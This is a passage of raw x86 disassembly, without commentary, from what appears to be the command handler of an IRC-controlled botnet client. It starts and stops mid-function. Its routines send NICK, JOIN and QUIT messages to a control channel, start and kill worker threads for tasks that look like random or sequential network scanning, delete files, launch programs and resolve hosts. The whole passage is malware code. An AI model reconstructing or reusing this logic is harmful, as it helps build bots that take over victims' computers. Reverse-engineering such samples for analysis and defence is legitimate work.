		call	sub_4049CD
		add	esp, 10h
		push	edi
		push	offset dword_42BEC4
		jmp	loc_4133AE
; ---------------------------------------------------------------------------


loc_411CBC:				; CODE XREF: sub_40D2E0+1C0Aj
					; sub_40D2E0+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_2	; "%s"
		push	eax
		call	sub_415480
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42BE90
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_414F2C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40AB26
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_411D95


loc_411D7F:				; CODE XREF: sub_40D2E0+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_41327F
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_411D7F
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: sub_40D2E0+4A9Dj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E36C
		jmp	loc_413270
; ---------------------------------------------------------------------------


loc_411DA6:				; CODE XREF: sub_40D2E0+1BDCj
					; sub_40D2E0+1BF3j
		push	edi
		call	ds:dword_42213C	; DeleteFileA
		test	eax, eax
		jz	short loc_411DD0
		push	edi
		push	offset dword_42BE64
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		jmp	loc_40F54A
; ---------------------------------------------------------------------------


loc_411DD0:				; CODE XREF: sub_40D2E0+4ACFj
		push	offset dword_42C814
		call	sub_40907B
		pop	ecx
		push	eax
		jmp	loc_4129D2
; ---------------------------------------------------------------------------


loc_411DE1:				; CODE XREF: sub_40D2E0+1BAEj
					; sub_40D2E0+1BC5j
		push	edi
		call	sub_4159EF
		push	eax
		call	sub_413887
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_411DFE
		push	offset unk_42BE2C
		jmp	short loc_411E03
; ---------------------------------------------------------------------------


loc_411DFE:				; CODE XREF: sub_40D2E0+4B15j
		push	offset unk_42BDE8


loc_411E03:				; CODE XREF: sub_40D2E0+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40F56E
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h
		jmp	loc_40F56E
; ---------------------------------------------------------------------------


loc_411E3C:				; CODE XREF: sub_40D2E0+1B80j
					; sub_40D2E0+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4135F8
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_411E5E
		push	offset unk_42BDB4
		jmp	loc_40F51F
; ---------------------------------------------------------------------------


loc_411E5E:				; CODE XREF: sub_40D2E0+4B72j
		push	offset unk_42BD74
		jmp	loc_40F51F
; ---------------------------------------------------------------------------


loc_411E68:				; CODE XREF: sub_40D2E0+1B52j
					; sub_40D2E0+1B69j
		push	edi
		call	ds:dword_4364A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_411EA2
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	ds:dword_436420	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_411EBD
		push	dword ptr [eax]


loc_411E8B:				; CODE XREF: sub_40D2E0+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_42BD48
		push	eax
		call	sub_415480
		add	esp, 10h
		jmp	short loc_411ED0
; ---------------------------------------------------------------------------


loc_411EA2:				; CODE XREF: sub_40D2E0+4B95j
		push	edi
		call	ds:dword_4364EC	; gethostbyname
		cmp	eax, ebx
		jz	short loc_411EBD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		jmp	short loc_411E8B
; ---------------------------------------------------------------------------


loc_411EBD:				; CODE XREF: sub_40D2E0+4BA7j
					; sub_40D2E0+4BCBj
		push	offset dword_42BD10


loc_411EC2:				; CODE XREF: sub_40D2E0+3E2Dj
					; sub_40D2E0+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_411ED0:				; CODE XREF: sub_40D2E0+2A25j
					; sub_40D2E0+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_412F31
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h
		jmp	loc_412F31
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: sub_40D2E0+1B24j
					; sub_40D2E0+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_416D30
		add	esp, 0Ch
		push	edi
		push	offset dword_42BCDC
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_411F13:				; CODE XREF: sub_40D2E0+1AF6j
					; sub_40D2E0+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4363DC
		test	eax, eax
		push	edi
		jz	short loc_411F33
		push	offset unk_42BCA0
		jmp	loc_40F51F
; ---------------------------------------------------------------------------


loc_411F33:				; CODE XREF: sub_40D2E0+4C47j
		push	offset unk_42BC5C
		jmp	loc_40F51F
; ---------------------------------------------------------------------------


loc_411F3D:				; CODE XREF: sub_40D2E0+1AC8j
					; sub_40D2E0+1ADFj
		mov	al, [edi]
		mov	ds:byte_42ACDC,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_42BC28
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_411F52:				; CODE XREF: sub_40D2E0+1A9Aj
					; sub_40D2E0+1AB1j
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_4133B5
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_41416F
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C578
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	loc_41143E
; ---------------------------------------------------------------------------


loc_411FA0:				; CODE XREF: sub_40D2E0+1A6Cj
					; sub_40D2E0+1A83j
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jle	loc_40D6A7
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_40D6A7
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	sub_40BAA1
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_422054	; Sleep
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BED4[eax]
		call	ds:dword_422150	; TerminateThread
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		push	edi
		mov	ds:dword_43BED4[eax], ebx
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_43BCC0[eax], bl
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_41204B:				; CODE XREF: sub_40D2E0+1A3Ej
					; sub_40D2E0+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412089
		call	sub_4150F5
		cmp	eax, ebx
		jle	short loc_41207F
		push	eax
		push	offset dword_42BBDC


loc_41206B:				; CODE XREF: sub_40D2E0+15E2j
					; sub_40D2E0+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480


loc_412077:				; CODE XREF: sub_40D2E0+3CA4j
		add	esp, 0Ch
		jmp	loc_412A7A
; ---------------------------------------------------------------------------


loc_41207F:				; CODE XREF: sub_40D2E0+4D83j
		push	offset dword_42BBA4
		jmp	loc_412A6C
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_40D2E0+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40D6A7
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_4120A5:				; CODE XREF: sub_40D2E0+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40D6A7
		push	esi
		call	sub_4159EF
		push	eax
		call	sub_415067
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_4120CC
		push	offset dword_42BB70
		jmp	short loc_4120D1
; ---------------------------------------------------------------------------


loc_4120CC:				; CODE XREF: sub_40D2E0+4DE3j
		push	offset dword_42BB34


loc_4120D1:				; CODE XREF: sub_40D2E0+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_412101
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_412101:				; CODE XREF: sub_40D2E0+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_4120A5
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_41211D:				; CODE XREF: sub_40D2E0+1A10j
					; sub_40D2E0+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	edi
		push	[ebp+var_C]
		call	sub_415A50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4133B5
		push	esi
		push	offset dword_42C58C
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		push	esi
		push	offset dword_42BB0C
		jmp	loc_4133AE
; ---------------------------------------------------------------------------


loc_412157:				; CODE XREF: sub_40D2E0+19E2j
					; sub_40D2E0+19F9j
		push	edi
		push	offset dword_42C4A8
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		push	edi
		push	offset dword_42BADC
		jmp	loc_4133AE
; ---------------------------------------------------------------------------


loc_412173:				; CODE XREF: sub_40D2E0+19B4j
					; sub_40D2E0+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 10h
		push	edi
		push	offset dword_42BAAC
		jmp	loc_4133AE
; ---------------------------------------------------------------------------


loc_412196:				; CODE XREF: sub_40D2E0+1986j
					; sub_40D2E0+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		push	edi
		push	offset dword_42BA78
		jmp	loc_4133AE
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_40D2E0+194Bj
					; sub_40D2E0+1960j
		mov	al, ds:byte_42AD0A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42AD0A
		jz	loc_40D6A7
		mov	ecx, edx


loc_4121C9:				; CODE XREF: sub_40D2E0+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4121C9
		cmp	al, bl
		jz	loc_40D6A7
		mov	[ebp+arg_18], edx


loc_4121DE:				; CODE XREF: sub_40D2E0+51BCj
		push	8
		call	sub_415174
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 3E8h
		jle	short loc_41222D
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_42CDC4
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 20h
		jmp	loc_412493
; ---------------------------------------------------------------------------


loc_41222D:				; CODE XREF: sub_40D2E0+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	ds:dword_426620, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 270Fh
		mov	[ebp+arg_0], ebx
		jz	short loc_41229E
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_426620
		lea	esi, [eax-0Ah]


loc_412268:				; CODE XREF: sub_40D2E0+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412284
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_412268
		jmp	short loc_41229E
; ---------------------------------------------------------------------------


loc_412284:				; CODE XREF: sub_40D2E0+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_426620[ecx]
		mov	[ebp+var_330], ecx


loc_41229E:				; CODE XREF: sub_40D2E0+4F7Bj
					; sub_40D2E0+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_4124A7
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	ds:dword_43640C	; getsockname
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_416D30
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_417030
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_412340


loc_41231E:				; CODE XREF: sub_40D2E0+505Ej
		cmp	eax, ebx
		jz	short loc_412340
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_417030
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41231E


loc_412340:				; CODE XREF: sub_40D2E0+503Cj
					; sub_40D2E0+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_4159FA
		mov	edi, offset aF_0 ; "#f"
		push	offset byte_4325D8
		push	edi
		call	sub_4158A0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4123AA
		push	edi
		lea	eax, [ebp+var_3B4]
		push	80h
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		jmp	short loc_4123B0
; ---------------------------------------------------------------------------


loc_4123AA:				; CODE XREF: sub_40D2E0+50B1j
		mov	[ebp+var_3B4], bl


loc_4123B0:				; CODE XREF: sub_40D2E0+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_4123C2
		mov	eax, offset aSequential	; "Sequential"


loc_4123C2:				; CODE XREF: sub_40D2E0+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42BA00
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_414F2C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_405FC5
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_41244C


loc_41243A:				; CODE XREF: sub_40D2E0+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_412467
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_41243A
; ---------------------------------------------------------------------------


loc_41244C:				; CODE XREF: sub_40D2E0+5158j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42CCB4
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_412467:				; CODE XREF: sub_40D2E0+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_412486
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_412486:				; CODE XREF: sub_40D2E0+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		pop	ecx


loc_412493:				; CODE XREF: sub_40D2E0+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4121DE
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_4124A7:				; CODE XREF: sub_40D2E0+3108j
					; sub_40D2E0+4FC4j
		push	offset unk_42B9BC
		jmp	loc_412A6C
; ---------------------------------------------------------------------------


loc_4124B1:				; CODE XREF: sub_40D2E0+1921j
					; sub_40D2E0+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_42B984
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_4159FA
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_414F2C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_40767D
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_41254A


loc_412537:				; CODE XREF: sub_40D2E0+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_41327F
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_412537
; ---------------------------------------------------------------------------


loc_41254A:				; CODE XREF: sub_40D2E0+5255j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B938
		jmp	loc_413270
; ---------------------------------------------------------------------------


loc_41255B:				; CODE XREF: sub_40D2E0+18F7j
					; sub_40D2E0+190Cj
		push	4
		call	sub_415174
		test	eax, eax
		pop	ecx
		jle	short loc_412571
		push	offset unk_42B90C
		jmp	loc_40F1A6
; ---------------------------------------------------------------------------


loc_412571:				; CODE XREF: sub_40D2E0+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_412594
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		jmp	short loc_4125A8
; ---------------------------------------------------------------------------


loc_412594:				; CODE XREF: sub_40D2E0+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		call	ds:off_422060


loc_4125A8:				; CODE XREF: sub_40D2E0+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_4125B8
		mov	esi, offset byte_42AD8C


loc_4125B8:				; CODE XREF: sub_40D2E0+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_4159FA
		mov	eax, ds:dword_42ACC4
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_426A40
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_40525F
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_41268B


loc_412675:				; CODE XREF: sub_40D2E0+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_40F2C5
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_412675
; ---------------------------------------------------------------------------


loc_41268B:				; CODE XREF: sub_40D2E0+5393j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B8C4
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_40D2E0+18CDj
					; sub_40D2E0+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4126BB
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jz	short loc_4126BB
		push	edi
		call	sub_4159EF
		pop	ecx
		jmp	short loc_4126C0
; ---------------------------------------------------------------------------


loc_4126BB:				; CODE XREF: sub_40D2E0+53C5j
					; sub_40D2E0+53D0j
		mov	eax, ds:dword_42ACC8


loc_4126C0:				; CODE XREF: sub_40D2E0+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_4126F3
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	short loc_41271E
; ---------------------------------------------------------------------------


loc_4126F3:				; CODE XREF: sub_40D2E0+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		call	ds:dword_422058	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4173D8
		add	esp, 14h


loc_41271E:				; CODE XREF: sub_40D2E0+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_415C80
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_412749
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_415C80
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_412749:				; CODE XREF: sub_40D2E0+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_426924
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_404138
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_412801


loc_4127EB:				; CODE XREF: sub_40D2E0+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_412953
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_4127EB
; ---------------------------------------------------------------------------


loc_412801:				; CODE XREF: sub_40D2E0+5509j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B87C
		jmp	loc_412944
; ---------------------------------------------------------------------------


loc_412812:				; CODE XREF: sub_40D2E0+18A3j
					; sub_40D2E0+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_412831
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jz	short loc_412831
		push	edi
		call	sub_4159EF
		pop	ecx
		jmp	short loc_412836
; ---------------------------------------------------------------------------


loc_412831:				; CODE XREF: sub_40D2E0+553Bj
					; sub_40D2E0+5546j
		mov	eax, ds:dword_42ACCC


loc_412836:				; CODE XREF: sub_40D2E0+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_41284D
		lea	eax, [ebp+var_D8]


loc_41284D:				; CODE XREF: sub_40D2E0+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_4159FA
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_41286F
		mov	esi, offset byte_4325D8


loc_41286F:				; CODE XREF: sub_40D2E0+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42B830
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset sub_413B7C
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_412938


loc_412926:				; CODE XREF: sub_40D2E0+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_412953
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_412926
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_40D2E0+5644j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B7E4


loc_412944:				; CODE XREF: sub_40D2E0+3625j
					; sub_40D2E0+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_412953:				; CODE XREF: sub_40D2E0+3609j
					; sub_40D2E0+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41327F
		push	ebx
		push	edi
		jmp	loc_41019D
; ---------------------------------------------------------------------------


loc_412963:				; CODE XREF: sub_40D2E0+1879j
					; sub_40D2E0+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412976
		push	esi
		call	sub_4159EF
		jmp	short loc_41297D
